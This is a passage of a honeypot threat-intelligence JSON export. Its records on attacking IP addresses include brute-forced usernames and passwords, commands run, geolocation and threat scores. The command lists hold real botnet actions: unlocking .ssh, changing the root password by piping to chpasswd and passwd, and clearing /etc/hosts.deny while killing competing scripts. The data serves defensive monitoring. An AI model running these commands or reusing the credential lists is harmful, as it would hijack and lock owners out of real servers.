        "last_seen_30d": "2026-05-02T00:40:45.472000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 588,
        "Suricata": 294
      }
    },
    "177.53.247.76": {
      "attack_count": 518,
      "first_seen": "2026-05-21T09:45:37.581Z",
      "last_seen": "2026-05-21T10:25:32.753Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ctrip",
        "fu",
        "kubeadmin",
        "tiller",
        "zhao",
        "admin",
        "bind",
        "ho",
        "opensuse",
        "tencent",
        "v2ray",
        "vps",
        "wangfang"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "000001",
        "Dd112211",
        "ab001",
        "bind",
        "ctrip",
        "eleme",
        "fu",
        "killer",
        "kubernetes",
        "linecloud",
        "password",
        "pubg123",
        "shujuku",
        "superman",
        "tiller",
        "v2ray",
        "wangfang"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nkT1YzmQ68BAs\\nkT1YzmQ68BAs\\n\"|passwd",
        "echo \"ctrip\\nUayOtF7AlKMa\\nUayOtF7AlKMa\\n\"|passwd",
        "echo \"fu\\nRLM4ErnaeILa\\nRLM4ErnaeILa\\n\"|passwd",
        "echo \"kubernetes\\nUyfhWBJyuitE\\nUyfhWBJyuitE\\n\"|passwd",
        "echo \"root:CO4IIZQlfto7\"|chpasswd|bash",
        "echo \"tiller\\nqUmVEyAgyGEm\\nqUmVEyAgyGEm\\n\"|passwd",
        "echo -e \"123456\\nkT1YzmQ68BAs\\nkT1YzmQ68BAs\"|passwd|bash",
        "echo -e \"ctrip\\nUayOtF7AlKMa\\nUayOtF7AlKMa\"|passwd|bash",
        "echo -e \"fu\\nRLM4ErnaeILa\\nRLM4ErnaeILa\"|passwd|bash",
        "echo -e \"kubernetes\\nUyfhWBJyuitE\\nUyfhWBJyuitE\"|passwd|bash",
        "echo -e \"tiller\\nqUmVEyAgyGEm\\nqUmVEyAgyGEm\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Jos\u00e9",
      "asn": 262481,
      "as_org": "VERO S.A",
      "threat_score": 27.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 592,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T09:45:37.581000+00:00",
        "last_seen_30d": "2026-05-21T10:26:41.267000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 518,
        "Suricata": 74
      }
    },
    "156.238.252.133": {
      "attack_count": 438,
      "first_seen": "2026-05-04T12:20:32.134Z",
      "last_seen": "2026-05-06T09:23:55.906Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "oracle",
        "user",
        "postgres",
        "root",
        "345gs5662d34",
        "devops",
        "test",
        "vpn",
        "Ubuntu",
        "abc",
        "administrador",
        "bitrix",
        "deploy",
        "deployer",
        "dockeradmin",
        "es",
        "ftp_user",
        "ftpuser"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "admin",
        "qwerty",
        "test",
        "0",
        "11",
        "1111",
        "11111111",
        "11223344",
        "123321",
        "12345678",
        "1nt&ll1tch&",
        "1qaz2wsx3edc",
        "1qazcde3",
        "1qazxsw2",
        "6",
        "789456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"789456\\nnD4DVfujD59b\\nnD4DVfujD59b\\n\"|passwd",
        "echo \"btheminer11\\nN7eQdUdbrBOY\\nN7eQdUdbrBOY\\n\"|passwd",
        "echo -e \"789456\\nnD4DVfujD59b\\nnD4DVfujD59b\"|passwd|bash",
        "echo -e \"btheminer11\\nN7eQdUdbrBOY\\nN7eQdUdbrBOY\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 8796,
      "as_org": "FASTNET DATA INC",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.6,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 578,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T12:20:32.134000+00:00",
        "last_seen_30d": "2026-05-06T09:24:57.689000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 438,
        "Suricata": 140
      }
    },
    "135.235.138.43": {
      "attack_count": 422,
      "first_seen": "2026-05-08T01:18:09.384Z",
      "last_seen": "2026-05-25T05:34:30.051Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "admin",
        "345gs5662d34",
        "adminvps",
        "cloud",
        "composeruser",
        "curl",
        "customer",
        "dcadmin",
        "deployer",
        "dev",
        "dockeradmin",
        "ftptest",
        "ftpuser",
        "gadmin",
        "ghostuser",
        "guest",
        "mailuser",
        "misha"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!234Qwer",
        "11",
        "12",
        "123321",
        "12345",
        "123456",
        "777777777",
        "Change_Me",
        "Password@123",
        "Qq123456",
        "Qwerty12345",
        "Wangsu@2017",
        "admin",
        "adminvps",
        "blabla123x!",
        "danihack000",
        "dcadmin",
        "fedora"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Password@123\\nIEPDy0qNChZu\\nIEPDy0qNChZu\\n\"|passwd",
        "echo \"Qq123456\\nI7eFuG66o8TO\\nI7eFuG66o8TO\\n\"|passwd",
        "echo \"Qwerty12345\\nxIYS9TSjNONV\\nxIYS9TSjNONV\\n\"|passwd",
        "echo -e \"Password@123\\nIEPDy0qNChZu\\nIEPDy0qNChZu\"|passwd|bash",
        "echo -e \"Qq123456\\nI7eFuG66o8TO\\nI7eFuG66o8TO\"|passwd|bash",
        "echo -e \"Qwerty12345\\nxIYS9TSjNONV\\nxIYS9TSjNONV\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 43.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.3,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 537,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T01:18:09.384000+00:00",
        "last_seen_30d": "2026-05-25T05:35:32.735000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 422,
        "Suricata": 115
      }
    },
    "198.98.56.205": {
      "attack_count": 288,
      "first_seen": "2026-05-06T01:44:07.607Z",
      "last_seen": "2026-05-06T02:52:34.196Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "user",
        "ubuntu",
        "admin",
        "345gs5662d34",
        "ali",
        "csserver",
        "ftpuser",
        "server",
        "administrator",
        "debian",
        "developer",
        "git",
        "guestuser",
        "newuser",
        "postgres",
        "sftp",
        "test",
        "test2",
        "teste1",
        "testusr"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "123321",
        "1234",
        "123456789",
        "1234567890",
        "123456789q",
        "123654",
        "P@ssw0rd1!",
        "P@ssw0rd123",
        "User1234",
        "Welcome1",
        "abc",
        "abdd1234",
        "admin@2022",
        "alipass",
        "asdf@1234",
        "git@0123",
        "guestuser"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nQCVcDDyWTXVv\\nQCVcDDyWTXVv\\n\"|passwd",
        "echo \"p@ssw0rd123!@#\\nMJNppxrkFyDh\\nMJNppxrkFyDh\\n\"|passwd",
        "echo -e \"12345\\nQCVcDDyWTXVv\\nQCVcDDyWTXVv\"|passwd|bash",
        "echo -e \"p@ssw0rd123!@#\\nMJNppxrkFyDh\\nMJNppxrkFyDh\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Staten Island",
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T01:44:07.607000+00:00",
        "last_seen_30d": "2026-05-06T02:53:37.227000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 288,
        "Suricata": 74
      }
    },
    "165.154.24.24": {
      "attack_count": 272,
      "first_seen": "2026-05-24T07:33:09.969Z",
      "last_seen": "2026-05-24T08:35:24.616Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "im",
        "kiosk",
        "ubuntu",
        "admin",
        "ftpuser",
        "michele",
        "minikube",
        "practicas",
        "student",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123321",
        "123456",
        "1234567890",
        "123456A",
        "1qaz@Wsx3edc",
        "87654321",
        "Aa123456!",
        "Zz112233",
        "kiosk",
        "michele",
        "practicas",
        "student2025"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nVNpoCwBFuB9b\\nVNpoCwBFuB9b\\n\"|passwd",
        "echo \"Aa123456!\\nsRrhMdp58kEg\\nsRrhMdp58kEg\\n\"|passwd",
        "echo \"kiosk\\n6x9RvARttail\\n6x9RvARttail\\n\"|passwd",
        "echo -e \"123456\\nVNpoCwBFuB9b\\nVNpoCwBFuB9b\"|passwd|bash",
        "echo -e \"Aa123456!\\nsRrhMdp58kEg\\nsRrhMdp58kEg\"|passwd|bash",
        "echo -e \"kiosk\\n6x9RvARttail\\n6x9RvARttail\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 29.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 320,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T07:33:09.969000+00:00",
        "last_seen_30d": "2026-05-24T08:36:31.825000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 272,
        "Suricata": 48
      }
    },
    "196.0.242.54": {
      "attack_count": 260,
      "first_seen": "2026-05-21T15:13:01.579Z",
      "last_seen": "2026-05-21T15:50:38.272Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "hua",
        "activemq",
        "admin",
        "alpine",
        "chen",
        "fu",
        "game",
        "horse",
        "maxim",
        "minsu",
        "patel",
        "saltstack",
        "socks",
        "sunil",
        "vivo",
        "xiamen"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "ADMIN",
        "activemq",
        "alibaba",
        "emp001234",
        "horse",
        "password1",
        "password12",
        "patel",
        "redis",
        "saltstack",
        "socks",
        "xiamen"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nMZwDbkJKjGeI\\nMZwDbkJKjGeI\\n\"|passwd",
        "echo \"root:Wapp0kRkflAy\"|chpasswd|bash",
        "echo -e \"123456\\nMZwDbkJKjGeI\\nMZwDbkJKjGeI\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Uganda",
      "country_code": "UG",
      "city": null,
      "asn": 21491,
      "as_org": "UGANDA-TELECOM Uganda Telecom",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 321,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T15:13:01.579000+00:00",
        "last_seen_30d": "2026-05-21T15:51:39.097000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 260,
        "Suricata": 61
      }
    },
    "171.113.149.57": {
      "attack_count": 232,
      "first_seen": "2026-05-20T18:25:45.256Z",
      "last_seen": "2026-05-21T06:31:28.347Z",
      "sessions": 116,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuhan",
      "asn": 137266,
      "as_org": "CHINATELECOM Hubei province Wuhan 5G network",
      "threat_score": 26.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 355,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:25:45.256000+00:00",
        "last_seen_30d": "2026-05-21T06:32:34.372000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 232,
        "Suricata": 123
      }
    },
    "45.78.198.190": {
      "attack_count": 226,
      "first_seen": "2026-05-05T15:10:15.510Z",
      "last_seen": "2026-05-05T16:43:43.722Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "345gs5662d34",
        "demo",
        "steam",
        "tester",
        "user",
        "drivetest",
        "es",
        "ftpuser",
        "sftpuser",
        "test",
        "testemail",
        "testuser",
        "user1",
        "user2",
        "vbox"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "1234",
        "123456",
        "12345678",
        "123abc",
        "1qaz@WSX",
        "P@ssw0rd123@",
        "abcd1234",
        "admin123",
        "demouser",
        "drivetest",
        "internet",
        "p4sswOrd",
        "p@ssword",
        "pass123",
        "root123",
        "test",
        "testemail"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "lockr -ia .ssh",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -m",
        "w",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "crontab -l",
        "echo \"12345678\\nONTIFYHIKaFN\\nONTIFYHIKaFN\\n\"|passwd",
        "echo -e \"12345678\\nONTIFYHIKaFN\\nONTIFYHIKaFN\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "uname -a",
        "which ls"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T15:10:15.510000+00:00",
        "last_seen_30d": "2026-05-05T16:44:48.083000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 226,
        "Suricata": 62
      }
    },
    "201.186.40.250": {
      "attack_count": 219,
      "first_seen": "2026-05-04T14:42:47.042Z",
      "last_seen": "2026-05-04T15:17:15.604Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "postgres",
        "user",
        "admin",
        "ubuntu",
        "minecraft",
        "345gs5662d34",
        "admin1",
        "ftp_user1",
        "git",
        "guest",
        "lubuntu",
        "myuser",
        "postmaster",
        "root",
        "test",
        "test2",
        "tester",
        "ts3server",
        "tuser",
        "vasadmin"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "11111111",
        "123",
        "123123123",
        "123321123321",
        "12345678",
        "1qaz!QAZ",
        "3245gs5662d34",
        "345gs5662d34",
        "4dm1n",
        "A1234567a",
        "Digitalocean123!",
        "Password!@#x",
        "Qaz123!@#",
        "QwErTy",
        "Qwerty1",
        "abc.123",
        "asdlkj",
        "gitlab"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Qwerty1\\nF6QmA0wS6mTo\\nF6QmA0wS6mTo\\n\"|passwd",
        "echo -e \"Qwerty1\\nF6QmA0wS6mTo\\nF6QmA0wS6mTo\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Los \u00c1ngeles",
      "asn": 14117,
      "as_org": "Telefonica del Sur S.A.",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T14:42:47.042000+00:00",
        "last_seen_30d": "2026-05-04T15:18:21.358000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 71
      }
    },
    "213.184.248.18": {
      "attack_count": 219,
      "first_seen": "2026-05-04T23:30:45.839Z",
      "last_seen": "2026-05-05T00:06:07.249Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "user",
        "admin",
        "csgoserver",
        "hadoop",
        "root",
        "test",
        "345gs5662d34",
        "administrator",
        "deploy",
        "developer",
        "frappe",
        "git",
        "server",
        "testmail",
        "vncuser",
        "webuser"
      ],
      "passwords_attempted": [
        "111111",
        "12345",
        "12345678",
        "123@.com",
        "1q2w3e4r",
        "1qaz@WSX",
        "3245gs5662d34",
        "345gs5662d34",
        "444444",
        "55555555",
        "Changeme_123",
        "P@ssw0rd1",
        "Qw123456",
        "abc123",
        "admin21",
        "adminadminadmin",
        "deploy123",
        "deploy@2024",
        "frappe@2023",
        "git321"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1q2w3e4r\\nbA4H4L0oogND\\nbA4H4L0oogND\\n\"|passwd",
        "echo -e \"1q2w3e4r\\nbA4H4L0oogND\\nbA4H4L0oogND\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Belarus",
      "country_code": "BY",
      "city": "Minsk",
      "asn": 42772,
      "as_org": "Unitary enterprise A1",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T23:30:45.839000+00:00",
        "last_seen_30d": "2026-05-05T00:07:09.456000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "62.132.18.53": {
      "attack_count": 212,
      "first_seen": "2026-05-24T01:18:14.753Z",
      "last_seen": "2026-05-24T02:04:44.950Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ruan",
        "builder",
        "kali",
        "platform",
        "sanket",
        "seafile",
        "sol",
        "ubuntu",
        "x"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "1qaz2WSX@",
        "Root1234!",
        "Wc123456",
        "Wj123456@",
        "Yf123456",
        "builder",
        "platform",
        "root123!",
        "ruan",
        "sanket@123",
        "seafile",
        "ubuntu2025",
        "x!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:sHO7QZns1Tog\"|chpasswd|bash",
        "echo \"ruan\\n2wiifJkDRIBr\\n2wiifJkDRIBr\\n\"|passwd",
        "echo -e \"ruan\\n2wiifJkDRIBr\\n2wiifJkDRIBr\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
